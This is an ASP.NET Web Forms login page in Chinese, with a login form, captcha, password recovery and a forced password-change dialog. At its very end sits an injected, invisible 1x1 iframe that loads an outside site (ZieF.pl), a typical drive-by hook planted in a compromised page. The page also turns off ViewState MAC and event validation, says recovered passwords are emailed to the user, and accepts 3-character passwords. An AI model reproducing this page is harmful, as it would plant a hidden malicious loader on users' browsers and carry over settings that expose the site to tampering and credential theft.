<%@ page language="C#" autoeventwireup="true" inherits="ims.web.Login, ims.web" enableviewstatemac="false" enableEventValidation="false" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="Login">
<head runat="server">
    <title>登录<%= ims.Comm.Vars.OrgName + ims.Comm.Vars.SysName %></title>
    <meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="renderer" content="webkit">
</head>
<body>
    <form id="form1" runat="server" defaultbutton="box$btnOK">
    <asp:ScriptManager ID="s1" runat="server">
        <Scripts><asp:ScriptReference Name="MicrosoftAjax.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/><asp:ScriptReference Name="MicrosoftAjaxWebForms.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/></Scripts>
    </asp:ScriptManager>    
    <ims:Pop runat="server" ID="box" Title="登录" ShowCancelButton="false" OkButtonText=" 登 录" OnOkClick="toLogin" HideOnOkClientClick="false" ShowProgress="false">
    <ContentTemplate>
        用户名：<asp:TextBox ID="tbUser" runat="server"></asp:TextBox><asp:DropDownList runat="server" ID="ddlUsers" Visible="false"></asp:DropDownList><asp:HyperLink ID="hlReg" runat="server" CssClass="u" Text="用户注册" NavigateUrl="~/reg.aspx"></asp:HyperLink>
        <div class="mtop_s">密　码：<asp:TextBox ID="tbPassword" runat="server" TextMode="Password"></asp:TextBox><a href="#" onclick="return ShowPop('pop_popup',true);" class="u" runat="server" id="forgetPwd">忘记密码</a></div>
        <div runat="server" id="divVcode" class="mtop_s">
        验证码：<asp:TextBox ID="tbVcode" runat="server"></asp:TextBox><img src="vcode.aspx" title="验证码。点击可刷新。" align="absMiddle" id="vcode" onclick="this.src='vcode.aspx?time='+new Date().getTime();" /><br />
        </div>
        <div class="mtop_s"><asp:CheckBox ID="RememberMe" runat="server" onclick="$('#box_tbPassword').focus();" Text="下次自动登录" /></div>
        <div class="mtop_m right" runat="server" id="toOrderVerify"><a href="orderVerify.aspx" class="u">我不想登录，希望直接提交订单</a></div>
    </ContentTemplate>
    </ims:Pop>
    
    <asp:Button ID="resetPwdRecovery" runat="server" OnClick="ResetPwdRecovery" CausesValidation="false" CssClass="hide" />
    <ims:Pop runat="server" ID="pop" Title="找回密码" ShowCancelButton="false" ShowOkButton="false" OnClientCanel="$f('resetPwdRecovery').click();" ShowProgress="false">
    <ContentTemplate>
        <asp:Wizard ID="PwdRecovery" runat="server" DisplaySideBar="False" OnNextButtonClick="nextStep">
            <WizardSteps>
                <asp:WizardStep ID="WizardStep1" runat="server">
                要接收您的密码，请输入您的用户名。
                    <div class="contArea">
                        用户名：<asp:TextBox ID="tbUserName" runat="server" Width="100px"></asp:TextBox>
                    </div>
                </asp:WizardStep>
                <asp:WizardStep ID="WizardStep2" runat="server">
                要接收您的密码，请回答下列问题。<br />
                    <div class="contArea">
                    <asp:Literal ID="question" runat="server"></asp:Literal><br />
                    答案：<asp:TextBox ID="tbAnswer" runat="server" Width="100px"></asp:TextBox>
                     </div>
               </asp:WizardStep>
                <asp:WizardStep ID="WizardStep3" runat="server">
                    <div class="contArea">密码已发送到您的邮箱。</div>
                </asp:WizardStep>
            </WizardSteps>
            <StartNavigationTemplate>
                <div style="text-align:right">
                    <asp:Button ID="btnStartNext" runat="server" CommandName="MoveNext" CssClass="btn" CausesValidation="false"
                    Text="下一步" Width="52" />
                </div>
            </StartNavigationTemplate>
            <NavigationButtonStyle CssClass="btn" />
            <StepNavigationTemplate>
                <div style="text-align:right">
                <asp:Button ID="btnPrev" runat="server" CausesValidation="False" CommandName="MovePrevious"
                    CssClass="btn" Text="上一步" Width="52" />
                <asp:Button ID="btnNext" runat="server" CommandName="MoveNext" CssClass="btn" CausesValidation="False"
                    Text="下一步" Width="52" />
                  </div>
          </StepNavigationTemplate>
            <NavigationStyle HorizontalAlign="Center" />
            <FinishNavigationTemplate>
                <div class="right mtop_l">
                    <input type="button" value="确定" class="btn" onclick="HideDialog();" />
                 </div>
           </FinishNavigationTemplate>
        </asp:Wizard>
    </ContentTemplate>
    </ims:Pop>
    <ims:Pop runat="server" ID="pwd" Title="您的密码是初始密码，请修改…" ShowCancelButton="false" ShowOkButton="false" HideOnOkClientClick="false" ShowCloseButton="false" ShowProgress="false">
    <ContentTemplate>
        <table cellspacing="2">
            <tr><td class="right">新密码：</td><td><asp:TextBox runat="server" onkeydown="return pwdKeydown();" TextMode="Password" ID="tbNew"></asp:TextBox></td></tr>
            <tr><td class="right">确认新密码：</td><td><asp:TextBox runat="server" onkeydown="return enterTo('pwd_btnChange');" TextMode="Password" ID="tbVerify"></asp:TextBox></td></tr>
            <tr><td> </td><td><asp:Button runat="server" ID="btnChange" OnClick="ChangePwd" OnClientClick="return preChgPwd();" Text="确 定" CssClass="btn" /></td></tr>
        </table>
    </ContentTemplate>
    </ims:Pop>
    <script src="js/comm.js"></script>
    <script>
        if (self != parent && location.href.indexOf("top=1") > -1) top.location = location;
        $(window).load(function () {
            $('#box_Body input:first').focus();
            $("#box_close").removeAttr("onclick").click(function(){
                if (self != parent) {
                    location = "home.aspx";
                } else {
                    opener = "";
                    close();
                }
            });
        });
        function preChgPwd() {
            var pwd1 = $("#pwd_tbNew").val(), pwd2 = $("#pwd_tbVerify").val();
            if (pwd1.length < 3) return showAndExit("请输入有效的新密码！");
            if (pwd2 == "") return showAndExit("请输入确认新密码！");
            if (pwd1 != pwd2) return showAndExit("两次输入的新密码不一致！");
            return true;
        }
        function pwdKeydown() {
            var enterKey = getKeyCode() == 13;
            if (enterKey) {
                if ($("#pwd_tbNew").val() != ""){
                    if ($("#pwd_tbVerify").val() == ""){
                        $("#pwd_tbVerify").focus();
                    }else{
                        $("#pwd_btnChange").click();
                    }
                }
            }
            return !enterKey;
        }
    </script>
    </form>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
